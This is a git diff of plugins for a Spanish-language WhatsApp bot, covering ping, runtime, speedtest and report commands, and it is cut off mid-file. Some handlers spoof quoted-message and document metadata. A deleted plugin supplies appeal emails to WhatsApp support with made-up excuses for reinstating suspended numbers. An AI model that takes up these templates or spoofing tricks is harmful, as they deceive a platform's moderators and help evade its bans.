+const chatsRes = await db.query(`SELECT COUNT(*)::int AS total FROM chats`)
+const totalChats = chatsRes.rows[0]?.total || 0
+const ping = Date.now() - start
+const jidBot = conn.user?.id || ''
+const numeroBot = jidBot.split('@')[0]
+const nombreBot = conn.user?.name || 'Bot'
+const isPrincipal = conn === global.conn;
+const tipo = isPrincipal ? 'Oficial' : 'Sub Bot';
+const ownerBot = global.owner?.[0]?.[0] || 'Desconocido'
+const pesoRes = await db.query(`
+ SELECT pg_size_pretty(pg_database_size(current_database())) AS peso
+`)
+const pesoDB = pesoRes.rows[0]?.peso || 'Desconocido'
+
+let botsGrupo = 0
+let tagsBotGrupo = []
+if (m.isGroup) {
+try {
+const participantes = (await conn.groupMetadata(m.chat)).participants || []
+const subbots = fs.existsSync('./jadibot') ? fs.readdirSync('./jadibot') : []
+
+for (const sid of subbots) {
+if (participantes.find(p => p.id === sid)) {
+botsGrupo++
+const num = sid.split('@')[0]
+tagsBotGrupo.push(`• wa.me/${num}`)
+}}
+
+if (participantes.find(p => p.id === jidBot)) {
+botsGrupo++
+tagsBotGrupo.unshift(`• wa.me/${numeroBot}`)
+}} catch {
+botsGrupo = 1
+}}
+
+const texto = `🤖 *${nombreBot} (${tipo})*
+
+⏱️ *Tiempo activo:* ${tiempo}
+⚡ *Ping:* ${ping} ms
+🖥️ *RAM usada:* ${ram}
+📦 *PostgreSQL:* ${pesoDB}
+👤 *Usuarios:* ${totalUsers}
+💬 *Chats activos:* ${totalChats}
+${m.isGroup ? `*• Bots en este grupo:* ${botsGrupo}\n${tagsBotGrupo.join('\n')}` : ''}
+`.trim()
+m.reply(texto)
+}
+handler.help = ['ping'];
+handler.tags = ['main'];
+handler.command = /^ping$/i
+handler.owner = false
+export default handler
+
+function clockString(ms) {
+ const h = Math.floor(ms / 3600000)
+ const m = Math.floor((ms % 3600000) / 60000)
+ const s = Math.floor((ms % 60000) / 1000)
+ return [h, m, s].map(v => v.toString().padStart(2, '0')).join(':')
+}
+*/
\ No newline at end of file
diff --git a/plugins/info-rapidez.js b/plugins/info-rapidez.js
deleted file mode 100644
index 87f2e085e..000000000
--- a/plugins/info-rapidez.js
+++ /dev/null
@@ -1,118 +0,0 @@
-import { cpus as _cpus, totalmem, freemem } from 'os'
-import util from 'util'
-import os from 'os'
-import fetch from 'node-fetch'
-import osu from 'node-os-utils'
-import { performance } from 'perf_hooks'
-import { sizeFormatter } from 'human-readable'
-let format = sizeFormatter({
-std: 'JEDEC', // 'SI' (default) | 'IEC' | 'JEDEC'
-decimalPlaces: 2,
-keepTrailingZeroes: false,
-render: (literal, symbol) => `${literal} ${symbol}B`,
-})
-let handler = async (m, { conn, usedPrefix, command, isRowner}) => {
-try {
-let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
-let grupos = [nna, nn, nnn, nnntt]
-let gata = [img5, img6, img7, img8, img9]
-let enlace = { contextInfo: { externalAdReply: {title: wm + ' ', body: 'support group' , sourceUrl: grupos.getRandom(), thumbnail: await(await fetch(gata.getRandom())).buffer() }}}
-let enlace2 = { contextInfo: { externalAdReply: { showAdAttribution: true, mediaUrl: yt, mediaType: 'VIDEO', description: '', title: wm, body: 'The LoliBot-MD', thumbnailUrl: await(await fetch(img)).buffer(), sourceUrl: yt }}}
-let dos = [enlace, enlace2]
-
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
-process.once('message', resolve)
-setTimeout(resolve, 1000)
-}) * 1000 }
-
-let muptime = clockString(_muptime)
-const chats = Object.entries(conn.chats).filter(([id, data]) => id && data.isChats)
-const groupsIn = chats.filter(([id]) => id.endsWith('@g.us')) //groups.filter(v => !v.read_only)
-const used = process.memoryUsage()
-const cpus = _cpus().map(cpu => {
-cpu.total = Object.keys(cpu.times).reduce((last, type) => last + cpu.times[type], 0)
-return cpu
-})
-
-const cpu = cpus.reduce((last, cpu, _, { length }) => {
-last.total += cpu.total
-last.speed += cpu.speed / length
-last.times.user += cpu.times.user
-last.times.nice += cpu.times.nice
-last.times.sys += cpu.times.sys
-last.times.idle += cpu.times.idle
-last.times.irq += cpu.times.irq
-return last
-
-}, {
-speed: 0,
-total: 0,
-times: {
-user: 0,
-nice: 0,
-sys: 0,
-idle: 0,
-irq: 0
-}})
-
-let old = performance.now()
-const { key } = await conn.sendMessage(m.chat, {text: `𝘾𝙤𝙢𝙚𝙣𝙯𝙖𝙣𝙙𝙤 𝙥𝙧𝙪𝙚𝙗𝙖 𝙙𝙚𝙡 𝙫𝙚𝙡𝙤𝙘𝙞𝙙𝙖𝙙 🚀...`}, {quoted: fkontak});
-// await delay(1000 * 2);
-//await conn.reply(m.chat, `𝘾𝙤𝙢𝙚𝙣𝙯𝙖𝙣𝙙𝙤 𝙥𝙧𝙪𝙚𝙗𝙖 𝙙𝙚𝙡 𝙫𝙚𝙡𝙤𝙘𝙞𝙙𝙖𝙙 🚀...`, fkontak, m)
-let neww = performance.now()
-let speed = neww - old
-let caption = `*🚀 Velocidad 🚀*
-
-🚄 *${Math.round(neww - old)}* ms
-🚄 *${speed}* ms
-
-*${htjava}* *TIEMPO ACTIVOS*
-${muptime}
-${readMore}
-*${htjava} C H A T S*
-▢ *${groupsIn.length}* _Chats de grupo_
-▢ *${groupsIn.length}* _Grupos unidos_
-▢ *${groupsIn.length - groupsIn.length}* _Grupos abandonados_
-▢ *${chats.length - groupsIn.length}* _Chats Privados_
-▢ *${chats.length}* _Total Chats_
-
-*${htjava} S E R V I D O R : S E R V E R*
-*🟢 RAM:* ${format(totalmem() - freemem())} / ${format(totalmem())}
-*🔵 RAM Libre:* ${format(freemem())}
-
-*💻 Plataforma :* \`\`\`${os.platform()}\`\`\`
-*📡 Servidor :* _${os.hostname()}_
-${readMore}
-*NodeJS Uso de memoria : Memory Usage*
-${'```' + Object.keys(used).map((key, _, arr) => `${key.padEnd(Math.max(...arr.map(v => v.length)), ' ')}: ${format(used[key])}`).join('\n') + '```'}
-
-${cpus[0] ? `*Uso total de la CPU*
-${cpus[0].model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')}
-
-*CPU Core(s) Uso (${cpus.length} Core CPU)*
-${cpus.map((cpu, i) => `${i + 1}. ${cpu.model.trim()} (${cpu.speed} MHZ)\n${Object.keys(cpu.times).map(type => `- *${(type + '*').padEnd(6)}: ${(100 * cpu.times[type] / cpu.total).toFixed(2)}%`).join('\n')}`).join('\n\n')}` : ''}
-`
-await conn.sendMessage(m.chat, {text: caption, edit: key});
-//await conn.sendFile(m.chat, gataImg.getRandom(), 'gata.jpg', caption, fkontak)
-///await conn.sendButton(m.chat, wm, caption, gata.getRandom(), [['𝗠 𝗘 𝗡 𝗨 ☘️', '/menu']], m, dos.getRandom())
-} catch (e) {
-await conn.reply(m.chat, `${fg}*ALGO SALIÓ MAL.*\n\n\`\`\`REPORTE ESTE COMANDO ${usedPrefix + command} CON EL COMANDO ${usedPrefix}reporte\`\`\``, m)
-}}
-handler.help = ['ping', 'speed']
-handler.tags = ['info', 'tools']
-handler.command = /^(ping|speed|velocidad|rapidez|velocity)$/i
-export default handler
-
-const more = String.fromCharCode(8206)
-const readMore = more.repeat(4001)
-
-function clockString(ms) {
- let d = isNaN(ms) ? '--' : Math.floor(ms / 86400000)
- let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000) % 24
- let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
- let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
- return [' ' + d, ' *Días ☀️*\n ', h, ' *Horas 🕐*\n ', m, ' *Minuto ⏰*\n ', s, ' *Segundo ⏱️* '].map(v => v.toString().padStart(2, 0)).join('')
-}
diff --git a/plugins/info-reporte.js b/plugins/info-reporte.js
new file mode 100644
index 000000000..e51a59d08
--- /dev/null
+++ b/plugins/info-reporte.js
@@ -0,0 +1,211 @@
+//Código elaborado por: https://github.com/elrebelde21
+
+/*FUNCIONA PERO NO COMO QUIERO LUEGO LOS ARREGLOS :v
+import { webp2png } from '../lib/webp2mp4.js';
+import uploadFile from '../lib/uploadFile.js';
+import uploadImage from '../lib/uploadImage.js';
+import axios from 'axios';
+import fs from 'fs';
+import { fileURLToPath } from 'url';
+import { dirname, join } from 'path';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = dirname(__filename);
+
+const OWNER1 = "5214774444444@s.whatsapp.net";
+const ACTIVE_CONVERSATIONS = {};
+const MAX_VIDEO_SIZE_MB = 60; // Límite de 60MB para videos
+
+let handler = async (m, { conn, text, args, command, usedPrefix }) => {
+let media = false;
+let q = m.quoted ? m.quoted : m;
+let mime = (q.msg || q).mimetype || '';
+let url = '';
+
+if (/image|video|audio/.test(mime)) {
+media = await q.download();
+
+if (/video/.test(mime)) {
+let videoPath = join(__dirname, `./temp_video_${new Date().getTime()}.mp4`);
+fs.writeFileSync(videoPath, media);
+
+let videoStats = fs.statSync(videoPath);
+let videoSizeMB = videoStats.size / (1024 * 1024);
+if (videoSizeMB > MAX_VIDEO_SIZE_MB) {
+fs.unlinkSync(videoPath);
+return m.reply(`*⚠️ El video excede el tamaño permitido (max 60 MB). Por favor, recórtalo, comprime o envía uno más ligero.*`);
+}
+url = videoPath;
+} else {
+url = await uploadImage(media);
+}} else if (/webp/.test(mime)) {
+media = await q.download();
+url = await webp2png(media);
+}
+
+let activeConversation = Object.entries(ACTIVE_CONVERSATIONS).find(([id, convo]) => convo.active && convo.userId === m.sender && convo.chatId === m.chat);
+
+if (activeConversation) {
+let [reportId] = activeConversation;
+let message = `📩 *Mensaje del usuario @${m.sender.split("@")[0]} (ID: ${reportId}):*\n${text || ''}`;
+
+if (url) {
+if (/image/.test(mime)) {
+await conn.sendMessage(OWNER1, { image: { url }, caption: message, contextInfo: { mentionedJid: [m.sender] } }, { quoted: m });
+} else if (/video/.test(mime)) {
+await conn.sendMessage(OWNER1, { video: { url }, caption: message, contextInfo: { mentionedJid: [m.sender] } }, { quoted: m });
+} else if (/audio/.test(mime)) {
+await conn.sendMessage(OWNER1, { audio: { url }, mimetype: mime, caption: message, contextInfo: { mentionedJid: [m.sender] } }, { quoted: m });
+}} else if (m.msg && m.msg.sticker) {
+await conn.sendMessage(OWNER1, { sticker: media, contextInfo: { mentionedJid: [m.sender] } }, { quoted: m });
+} else {
+await conn.sendMessage(OWNER1, { text: message, mentions: [m.sender] }, { quoted: m });
+}
+return;
+}
+
+if (command === 'report' || command === 'reporte') {
+if (!text && !m.quoted) return m.reply(`⚠️ 𝐄𝐬𝐜𝐫𝐢𝐛𝐚 𝐞𝐥 𝐞𝐫𝐫𝐨𝐫/𝐜𝐨𝐦𝐚𝐧𝐝𝐨 𝐜𝐨𝐧 𝐟𝐚𝐥𝐥𝐚\n\n*𝐄𝐣:* ${usedPrefix + command} los sticker no funka`);
+if (text.length < 8) throw `${fg} ✨ *𝑴𝒊́𝒏𝒊𝒎𝒐 10 𝒄𝒂𝒓𝒂𝒄𝒕𝒆𝒓𝒆𝒔 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓 𝒆𝒍 𝒓𝒆𝒑𝒐𝒓𝒕𝒆...*`
+if (text.length > 1000) throw `${fg} ⚠️ *𝑴𝒂́𝒙𝒊𝒎𝒐 1000 𝑪𝒂𝒓𝒂𝒄𝒕𝒆𝒓𝒆𝒔 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓 𝒆𝒍 𝒓𝒆𝒑𝒐𝒓𝒕𝒆.*`
+
+let reportId = Math.floor(Math.random() * 901);
+
+ACTIVE_CONVERSATIONS[reportId] = {
+userId: m.sender,
+userName: m.pushName || 'Usuario desconocido',
+active: true,
+chatId: m.chat,
+url: url,
+mime: mime,
+};
+
+let reportText = text || (m.quoted && m.quoted.text) || 'Sin mensaje';
+let teks = `┏╼╾╼⧼⧼⧼ REPORTE ⧽⧽⧽╼╼╼┓
+╏• *ɴᴜᴍᴇʀᴏ:* Wa.me/${m.sender.split("@")[0]}
+╏• *ᴍᴇɴsᴀᴊᴇ:* ${reportText}
+┗╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼╼\n\nResponde al mensaje con:\n*"responder ${reportId} [mensaje]"* para interactuar.\nUsa *.fin ${reportId}* para finalizar la conversación.`
+
+await conn.sendMessage(OWNER1, { text: teks, mentions: [m.sender] }, { quoted: m });
+await delay(1000)
+await conn.reply(m.chat, `*⚡ᴇʟ ʀᴇᴘᴏʀᴛᴇ ʜᴀ sɪᴅᴏ ᴇɴᴠɪᴀᴅᴏs ᴀ ᴍɪ ᴄʀᴇᴀᴅᴏʀ, ᴛᴇɴᴅʀᴀ ᴜɴᴀ ʀᴇsᴘᴜᴇsᴛᴀ ᴘʀᴏɴᴛᴏ, ᴅᴇ sᴇʀ ғᴀʟsᴏ sᴇʀᴀ ɪɢɴᴏʀᴀᴅᴏ ᴇʟ ʀᴇᴘᴏʀᴛᴇ*`);
+return;
+}};
+
+handler.before = async (m, { conn }) => {
+let activeConversation = Object.entries(ACTIVE_CONVERSATIONS).find(([id, convo]) => convo.active && convo.userId === m.sender && convo.chatId === m.chat);
+
+if (activeConversation) {
+let [reportId] = activeConversation;
+let message2 = `*📩 Nueva respuesta del usuario @${m.sender.split("@")[0]} (ID: ${reportId}):*\n${m.text || ''}`;
+
+if (m.mtype === 'stickerMessage') {
+let sticker = await m.download();
+if (sticker) {
+await conn.sendMessage(OWNER1, { sticker }, { quoted: m });
+} else {
+}} else if (m.mtype === 'imageMessage' || m.mtype === 'videoMessage' || m.mtype === 'audioMessage') {
+let media = await m.download();
+let url = await uploadImage(media);
+if (url) {
+await conn.sendMessage(OWNER1, { [m.mtype === 'videoMessage' ? 'video' : m.mtype === 'audioMessage' ? 'audio' : 'image']: { url }, caption: message2, contextInfo: { mentionedJid: [m.sender] }}, { quoted: m });
+} else {
+console.error('Error');
+}} else {
+await conn.sendMessage(OWNER1, { text: message2, mentions: [m.sender] }, { quoted: m });
+}}
+
+let matchResponder = m.text.match(/^responder (\S+) (.+)/i);
+if (matchResponder) {
+let [_, reportId, ownerMessage] = matchResponder;
+
+if (!ACTIVE_CONVERSATIONS[reportId] || !ACTIVE_CONVERSATIONS[reportId].active) return
+let { userId } = ACTIVE_CONVERSATIONS[reportId];
+if (m.quoted) {
+let quoted = m.quoted;
+let mime = (quoted.msg || quoted).mimetype || '';
+if (/image|video|audio|sticker/.test(mime)) {
+let media = await quoted.download();
+let url = await uploadImage(media);
+if (/image/.test(mime)) {
+await conn.sendMessage(userId, { image: { url }, caption: ownerMessage });
+} else if (/video/.test(mime)) {
+await conn.sendMessage(userId, { video: { url }, caption: ownerMessage });
+} else if (/audio/.test(mime)) {
+await conn.sendMessage(userId, { audio: { url }, mimetype: mime, caption: ownerMessage });
+} else if (/sticker/.test(mime)) {
+await conn.sendMessage(userId, { sticker: media });
+}} else {
+await conn.sendMessage(userId, { text: ownerMessage });
+}} else {
+await conn.sendMessage(userId, { text: `*• Respuesta del propietario:*\n${ownerMessage}` });
+}
+return;
+}
+
+if (m.quoted && m.quoted.text) {
+let quotedTextMatch = m.quoted.text.match(/ID: (\d+)/);
+if (quotedTextMatch) {
+let reportId = quotedTextMatch[1];
+if (ACTIVE_CONVERSATIONS[reportId] && ACTIVE_CONVERSATIONS[reportId].active) {
+let { userId } = ACTIVE_CONVERSATIONS[reportId];
+let ownerMessage = m.text || 'Sin mensaje';
+
+if (/image|video|audio|sticker/.test(m.mtype)) {
+let media = await m.download();
+let url = await uploadImage(media);
+if (/image/.test(m.mtype)) {
+await conn.sendMessage(userId, { image: { url }, caption: ownerMessage });
+} else if (/video/.test(m.mtype)) {
+await conn.sendMessage(userId, { video: { url }, caption: ownerMessage });
+} else if (/audio/.test(m.mtype)) {
+await conn.sendMessage(userId, { audio: { url }, mimetype: m.mimetype });
+} else if (/sticker/.test(m.mtype)) {
+await conn.sendMessage(userId, { sticker: media });
+}} else {
+await conn.sendMessage(userId, { text: `*• Respuesta del propietario:*\n${ownerMessage}` });
+}
+return;
+}}}
+
+let matchFin = m.text.match(/^\.fin (\S+)/i);
+if (matchFin) {
+let [_, reportId] = matchFin;
+
+if (!ACTIVE_CONVERSATIONS[reportId]) return await conn.reply(m.chat, `⚠️ No se encontró ninguna conversación activa con ese ID.`, m);
+let { userId } = ACTIVE_CONVERSATIONS[reportId];
+ACTIVE_CONVERSATIONS[reportId].active = false;
+await conn.reply(userId, `🔒 *La conversación ha sido cerrada por el propietario.*`);
+await delay(1000)
+await conn.reply(m.chat, `✔️ Conversación ${reportId} cerrada.`);
+return;
+}};
+handler.help = ['reporte', 'request'].map(v => v + ' ')
+handler.tags = ['main']
+handler.exp = 3500
+handler.command = /^(report|request|reporte|bugs|bug|report-owner|reportes|reportar)$/i
+handler.register = true
+handler.private = true
+export default handler
+const delay = (ms) => new Promise((resolve) => setTimeout(resolve, ms))
+
+*/
+
+import { db } from "../lib/postgres.js";
+
+const handler = async (m, { conn, text, usedPrefix, command }) => {
+if (!text) return m.reply(`⚠️ Escriba ${command === "suggestion" ? "sugerencias" : "el error/comando con falla"}\n\n*𝐄𝐣:* ${usedPrefix + command} ${command === "suggestion" ? "Agregue un comando de ..." : "los sticker no funka"}`)
+if (text.length < 8) return m.reply(`✨ *𝑴𝒊́𝒏𝒊𝒎𝒐 10 𝒄𝒂𝒓𝒂𝒄𝒕𝒆𝒓𝒆𝒔 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓 𝒆𝒍 𝒓𝒆𝒑𝒐𝒓𝒕𝒆...*`)
+if (text.length > 1000) return m.reply(`⚠️ *𝑴𝒂́𝒙𝒊𝒎𝒐 1000 𝑪𝒂𝒓𝒂𝒄𝒕𝒆𝒓𝒆𝒔 𝒑𝒂𝒓𝒂 𝒉𝒂𝒄𝒆𝒓 𝒆𝒍 𝒓𝒆𝒑𝒐𝒓𝒕𝒆.*`)
+const nombre = m.pushName || "sin nombre";
+const tipo = /sugge|suggestion/i.test(command) ? "sugerencia" : "reporte";
+
+await db.query(`INSERT INTO reportes (sender_id, sender_name, mensaje, tipo) VALUES ($1, $2, $3, $4)`, [m.sender, nombre, text, tipo]);
+return m.reply(tipo === "sugerencia" ? "✅ ¡Gracias! Tu sugerencia ha sido enviada a nuestro equipo de moderación y será tomada en cuenta." : "✅ Tu reporte ha sido enviado a nuestro equipo de moderación y será revisado pronto.");
+};
+handler.help = ["report ", "sugge "];
+handler.tags = ["main"];
+handler.command = /^(report|request|suggestion|sugge|reporte|bugs?|report-owner|reportes|reportar)$/i;
+handler.register = true;
+
+export default handler;
diff --git a/plugins/info-sacarnumero.js b/plugins/info-sacarnumero.js
deleted file mode 100644
index 3259b787a..000000000
--- a/plugins/info-sacarnumero.js
+++ /dev/null
@@ -1,57 +0,0 @@
-let handler = async (m, { conn, usedPrefix }) => {
-let pp = 'https://i.imgur.com/lkch77g.jpeg'
-var doc = ['pdf','zip','vnd.openxmlformats-officedocument.presentationml.presentation','vnd.openxmlformats-officedocument.spreadsheetml.sheet','vnd.openxmlformats-officedocument.wordprocessingml.document']
-var document = doc[Math.floor(Math.random() * doc.length)]
-await m.reply(`╰⊱🔰⊱ *paso a paso* ⊱🔰⊱╮`)
- //conn.sendButton(m.chat, str, author, await(await fetch(pp)).buffer(), [['Menu', '/menu']], m)
-let texto1 = `
- ¿Cómo sacar un número del soporte
-Rápido?
-
-Manda un Gmail - correo
-Al
-support@support.whatsapp.com
-
-Asunto
-Me suspendieron por error
-
-Elige cualquiera de estos textos
-
-Texto 1:
-Hola me suspendieron por error yo no hice nada malo apenas estoy usando el WhatsApp, y necesito mi número para mí grupo del estudio y trabajo.
-Por favor me suspendieron por error
-Mi número es
-####
-
-Textos 2:
-Hola buenas noches, vengo a reclamar un error de suspensión a mi cuenta Hace aproximadamente un par de horas, estaba tranquilamente hablando con amigos cuando me llega un mensaje diciendo que mi WhatsApp fue registado en otro telefono; posterior a eso cuando intento ingresar me dice que mi cuenta Ha sido suspendida, por favor me ayuden a recuperar mi cuenta mi numero es (NUMERO)
-
-Texto 3:
-porfavor activen mi cuenta de WhatsApp tengo cosas muy importantes gracias mi número es (NUMERO)
-
-Textos 4:
-Hola Buenas, hace poco recupere mi celular y quiero que activen mi cuenta de WhatsApp tengo cosas de empresas mi número es (NUMERO)`
-let buttonMessage= {
-'document': { url: `https://youtu.be/ipiVJCrQGGg` },
-'mimetype': `application/${document}`,
-'fileName': `𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫`,
-'fileLength': 99999999999999,
-'pageCount': 200,
-'contextInfo': {
-'forwardingScore': 200,
-'isForwarded': true,
-'externalAdReply': {
-'mediaUrl': 'https://youtu.be/ipiVJCrQGGg',
-'mediaType': 2,
-'previewType': 'pdf',
-'title': 'Como saca un numero del soporte',
-'body': wm,
- }},
-'caption': texto1,
-'footer': wm,
-'buttons':[
-{buttonId: `${usedPrefix}menu`, buttonText: {displayText: '𝑻𝒉𝒆 𝑳𝒐𝒍𝒊𝑩𝒐𝒕-𝑴𝑫'}, type: 1}],
-'headerType': 6 }
-conn.sendMessage(m.chat, buttonMessage, { quoted: m })}
-handler.command = /^(sacarnumero|sacarnumerodelsoporte|como sacar un numero del soporte)$/i
-export default handler
diff --git a/plugins/info-sc.js b/plugins/info-sc.js
index 1515dd4f0..b39b1b88c 100644
--- a/plugins/info-sc.js
+++ b/plugins/info-sc.js
@@ -1,39 +1,35 @@
-let { generateWAMessageFromContent } = (await import(global.baileys)).default
-import { performance } from 'perf_hooks'
-import { promises } from 'fs'
-import { join } from 'path'
-let handler = async (m, { conn, __dirname, usedPrefix: _p }) => {
-let _package = JSON.parse(await promises.readFile(join(__dirname, '../package.json')).catch(_ => ({}))) || {}
+import { generateWAMessageFromContent } from '@whiskeysockets/baileys'
+import { promises as fs } from 'fs'
+import { fileURLToPath } from 'url'
+import { dirname, join } from 'path'
-function kyun(seconds){
- function pad(s){
- return (s < 10 ? '0' : '') + s;
- }
- var days = Math.floor(seconds / (24 * 60 * 60 * 1000));
- var hours = Math.floor(seconds / (60*60));
- var minutes = Math.floor(seconds % (60*60) / 60);
- var seconds = Math.floor(seconds % 60);
+const __filename = fileURLToPath(import.meta.url)
+const __dirname = dirname(__filename)
- //return pad(hours) + ':' + pad(minutes) + ':' + pad(seconds)
- return `🫶 ${_package.homepage}\n\n*⏳ 𝙏𝙄𝙀𝙈𝙋𝙊 𝘼𝘾𝙏𝙄𝙑𝙊:*\n \t${pad(days)} Dias\t ${pad(hours)} Horas ${pad(minutes)} Minutos ${pad(seconds)} Segudos \t\n`
+const handler = async (m, { conn, usedPrefix: _p }) => {
+let fkontak = { "key": { "participants":"0@s.whatsapp.net", "remoteJid": "status@broadcast", "fromMe": false, "id": "Halo" }, "message": { "contactMessage": { "vcard": `BEGIN:VCARD\nVERSION:3.0\nN:Sy;Bot;;;\nFN:y\nitem1.TEL;waid=${m.sender.split('@')[0]}:${m.sender.split('@')[0]}\nitem1.X-ABLabel:Ponsel\nEND:VCARD` }}, "participant": "0@s.whatsapp.net" }
+
+let _package = {}
+try {
+const pkgStr = await fs.readFile(join(__dirname, '../package.json'), 'utf8')
+_package = JSON.parse(pkgStr)
+} catch { _package = {} }
+
+const pad = n => (n < 10 ? '0' : '') + n
+const kyun = (seconds) => {
+const days = Math.floor(seconds / (24 * 60 * 60))
+const hours = Math.floor((seconds % (24 * 60 * 60)) / (60 * 60))
+const minutes = Math.floor((seconds % (60 * 60)) / 60)
+const secs = Math.floor(seconds % 60)
+return `🫶 ${info.md}\n\n*⏳ 𝙏𝙄𝙀𝙈𝙋𝙊 𝘼𝘾𝙏𝙄𝙑𝙊:*\n\t${pad(days)} Dias\t ${pad(hours)} Horas ${pad(minutes)} Minutos ${pad(secs)} Segundos\n`
}
- const runtime = process.uptime()
- const teks = `${kyun(runtime)}`
- const itsme = `0@s.whatsapp.net`
- const split = `uwu >//<`
- const rtimebro = {
- contextInfo: {
- participant: itsme,
- quotedMessage: {
- extendedTextMessage: {
- text: split
- }
- }
- }
- }
-
- let prep = generateWAMessageFromContent(m.chat, { orderMessage: {
-itemCount: -10062007, status: 500,
+
+const runtime = process.uptime()
+const teks = kyun(runtime)
+const prep = generateWAMessageFromContent(m.chat, {
+orderMessage: {
+itemCount: -10062007,
+status: 500,
surface: 999,
message: teks,
description: '^^',
@@ -42,26 +38,16 @@ token: '9',
curreyCode: 'IDR',
totalCurrencyCode: '>〰<',
totalAmount1000: '1000000',
-sellerJid: 'https://github.com/elrebelde21/The-LoliBot-MD',
-thumbnail: fs.readFileSync('./src/avatar_contact.png')
-}}, {contextInfo: null, quoted: m})
-conn.relayWAMessage(prep)
- // conn.sendMessage(m.chat, `${teks}`, MessageType.text, rtimebro)
+sellerJid: 'https://github.com/elrebelde21/LoliBot-MD',
+thumbnailUrl: "https://telegra.ph/file/39fb047cdf23c790e0146.jpg"
+}}, { contextInfo: null, quoted: fkontak })
+await conn.relayMessage(prep.key.remoteJid, prep.message, { messageId: prep.key.id })
}
-
handler.help = ['runtime']
-handler.tags = ['info']
-handler.command = /^(runtime|sc|activo|github)$/i
+handler.tags = ['main']
+handler.command = /^(runtime|sc)$/i
handler.owner = false
-handler.mods = false
-handler.premium = false
handler.group = false
handler.private = false
-
-handler.admin = false
-handler.botAdmin = false
-
-handler.fail = null
-
-
+handler.register = true
export default handler
diff --git a/plugins/info-speedtest.js b/plugins/info-speedtest.js
index db46191a6..52d6b3f76 100644
--- a/plugins/info-speedtest.js
+++ b/plugins/info-speedtest.js
@@ -1,22 +1,51 @@
+import os from 'os';
import cp from 'child_process';
-import {promisify} from 'util';
+import { promisify } from 'util';
+import fetch from 'node-fetch';
const exec = promisify(cp.exec).bind(cp);
+
const handler = async (m) => {
- await conn.reply(m.chat, global.wait, m);
- let o;
- try {
- o = await exec('python3 speed.py');
- } catch (e) {
- o = e;
- } finally {
- const {stdout, stderr} = o;
- if (stdout.trim()) m.reply(stdout);
- if (stderr.trim()) m.reply(stderr);
- }
+ let o;
+m.react("🚀")
+ try {
+ o = await exec('python3 speed.py --secure --share');
+ const {stdout, stderr} = o;
+ if (stdout.trim()) {
+ const match = stdout.match(/http[^"]+\.png/);
+ const urlImagen = match ? match[0] : null;
+ await conn.relayMessage(m.chat, {
+extendedTextMessage:{ text: stdout.trim(),
+contextInfo: { externalAdReply: {
+title: "< INFO - SPEEDTEST />", body: `${toTime(os.uptime() * 1000)}`, mediaType: 1,
+previewType: 0, renderLargerThumbnail: true,
+thumbnailUrl: urlImagen, sourceUrl: info.nna }}, mentions: null }}, {quoted: m})
+ //conn.sendMessage(m.chat, {image: {url: urlImagen}, caption: stdout.trim()}, {quoted: m});
+ }
+ if (stderr.trim()) {
+ const match2 = stderr.match(/http[^"]+\.png/);
+ const urlImagen2 = match2 ? match2[0] : null;
+ await conn.relayMessage(m.chat, {
+extendedTextMessage:{text: stderr.trim(), contextInfo: {externalAdReply: {
+title: "< INFO - SPEEDTEST />", body: `${toTime(os.uptime() * 1000)}`, mediaType: 1,
+previewType: 0, renderLargerThumbnail: true,
+thumbnailUrl: urlImagen2,
+sourceUrl: info.nna }}, mentions: null }}, {quoted: m})
+ }
+ } catch (e) {
+ o = e.message;
+ return m.reply(o)
+ }
};
handler.help = ['speedtest'];
-handler.tags = ['info'];
+handler.tags = ['main'];
handler.command = /^(speedtest?|test?speed)$/i;
-
+handler.register = true
export default handler;
-
\ No newline at end of file
+
+function toTime(milliseconds) {
+ const seconds = Math.floor(milliseconds / 1000);
+ const minutes = Math.floor(seconds / 60);
+ const hours = Math.floor(minutes / 60);
+ const days = Math.floor(hours / 24);
+ return `${days} days, ${hours % 24} hours, ${minutes % 60} minutes, ${seconds % 60} seconds`;
+}
\ No newline at end of file
diff --git a/plugins/info-terminos, condiciones y privacidad.js b/plugins/info-terminos, condiciones y privacidad.js
deleted file mode 100644
index 5308fb2ef..000000000
--- a/plugins/info-terminos, condiciones y privacidad.js
+++ /dev/null
@@ -1,139 +0,0 @@
-import { xpRange } from '../lib/levelling.js'
-import PhoneNumber from 'awesome-phonenumber'
-import { promises } from 'fs'
-import { join } from 'path'
-let handler = async (m, { conn, usedPrefix, command, args, usedPrefix: _p, __dirname, isOwner, text, isAdmin, isROwner }) => {
-
-
-const { levelling } = '../lib/levelling.js'
-//let handler = async (m, { conn, usedPrefix, usedPrefix: _p, __dirname, text }) => {
-
-let { exp, limit, level, role } = global.db.data.users[m.sender]
-let { min, xp, max } = xpRange(level, global.multiplier)
-
-let d = new Date(new Date + 3600000)
-let locale = 'es'
-let weton = ['Pahing', 'Pon', 'Wage', 'Kliwon', 'Legi'][Math.floor(d / 84600000) % 5]
-let week = d.toLocaleDateString(locale, { weekday: 'long' })
-let date = d.toLocaleDateString(locale, {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-})
-let dateIslamic = Intl.DateTimeFormat(locale + '-TN-u-ca-islamic', {
-day: 'numeric',
-month: 'long',
-year: 'numeric'
-}).format(d)
-let time = d.toLocaleTimeString(locale, {
-hour: 'numeric',
-minute: 'numeric',
-second: 'numeric'
-})
-let _uptime = process.uptime() * 1000
-let _muptime
-if (process.send) {
-process.send('uptime')
-_muptime = await new Promise(resolve => {
